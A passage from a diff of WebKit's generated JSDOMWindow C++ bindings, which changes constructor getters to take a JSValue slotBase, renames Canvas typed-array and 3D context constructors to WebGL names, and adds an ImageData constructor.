+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLLIElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLLabelElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLLabelElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLLabelElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLLegendElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLLegendElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLLegendElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLLinkElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLLinkElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLLinkElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLMapElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLMapElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLMapElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLMarqueeElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLMarqueeElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLMarqueeElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLMenuElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLMenuElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLMenuElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLMetaElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLMetaElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLMetaElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLModElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLModElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLModElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLOListElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLOListElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLOListElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLObjectElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLObjectElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLObjectElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLOptGroupElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLOptGroupElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLOptGroupElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLOptionElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLOptionElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLOptionElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLParagraphElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLParagraphElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLParagraphElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLParamElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLParamElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLParamElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLPreElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLPreElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLPreElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLQuoteElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLQuoteElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLQuoteElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLScriptElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLScriptElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLScriptElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLSelectElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLSelectElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLSelectElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLStyleElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLStyleElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLStyleElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableCaptionElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableCaptionElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableCaptionElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableCellElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableCellElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableCellElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableColElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableColElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableColElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableRowElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableRowElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableRowElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTableSectionElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTableSectionElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTableSectionElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTextAreaElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTextAreaElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTextAreaElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLTitleElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLTitleElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLTitleElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLUListElementConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLUListElementConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLUListElement::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLCollectionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLCollectionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLCollection::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowHTMLAllCollectionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowHTMLAllCollectionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSHTMLAllCollection::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowImageConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowImageConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->image(exec);
 }
 
-JSValue jsDOMWindowOptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return castedThis->option(exec);
 }
 
-JSValue jsDOMWindowCanvasRenderingContext2DConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowCanvasRenderingContext2DConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSCanvasRenderingContext2D::getConstructor(exec, castedThis);
 }
 
+JSValue jsDOMWindowImageDataConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
+    if (!castedThis->allowsAccessFrom(exec))
+        return jsUndefined();
+    return JSImageData::getConstructor(exec, castedThis);
+}
+
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasRenderingContext3DConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLRenderingContextConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return JSCanvasRenderingContext3D::getConstructor(exec, castedThis);
+    return JSWebGLRenderingContext::getConstructor(exec, castedThis);
 }
 #endif
 
-JSValue jsDOMWindowTextMetricsConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowTextMetricsConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSTextMetrics::getConstructor(exec, castedThis);
 }
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasArrayBufferConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLArrayBufferConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasArrayBuffer(exec);
+    return castedThis->webGLArrayBuffer(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasByteArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLByteArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasByteArray(exec);
+    return castedThis->webGLByteArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasUnsignedByteArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLUnsignedByteArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasUnsignedByteArray(exec);
+    return castedThis->webGLUnsignedByteArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasShortArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLShortArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasShortArray(exec);
+    return castedThis->webGLShortArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasUnsignedShortArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLUnsignedShortArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasUnsignedShortArray(exec);
+    return castedThis->webGLUnsignedShortArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasIntArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLIntArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasIntArray(exec);
+    return castedThis->webGLIntArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasUnsignedIntArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLUnsignedIntArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasUnsignedIntArray(exec);
+    return castedThis->webGLUnsignedIntArray(exec);
 }
 #endif
 
 #if ENABLE(3D_CANVAS)
-JSValue jsDOMWindowCanvasFloatArrayConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebGLFloatArrayConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
-    return castedThis->canvasFloatArray(exec);
+    return castedThis->webGLFloatArray(exec);
 }
 #endif
 
-JSValue jsDOMWindowEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowBeforeLoadEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowBeforeLoadEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSBeforeLoadEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowKeyboardEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowKeyboardEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSKeyboardEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMouseEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMouseEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMouseEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowMutationEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowMutationEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSMutationEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowOverflowEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowOverflowEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSOverflowEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowPageTransitionEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowPageTransitionEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSPageTransitionEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowProgressEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowProgressEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSProgressEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowTextEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowTextEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSTextEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowUIEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowUIEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSUIEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitAnimationEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitAnimationEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
+    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slotBase));
     if (!castedThis->allowsAccessFrom(exec))
         return jsUndefined();
     return JSWebKitAnimationEvent::getConstructor(exec, castedThis);
 }
 
-JSValue jsDOMWindowWebKitTransitionEventConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMWindowWebKitTransitionEventConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMWindow* castedThis = static_cast<JSDOMWindow*>(asObject(slot.slotBase()));
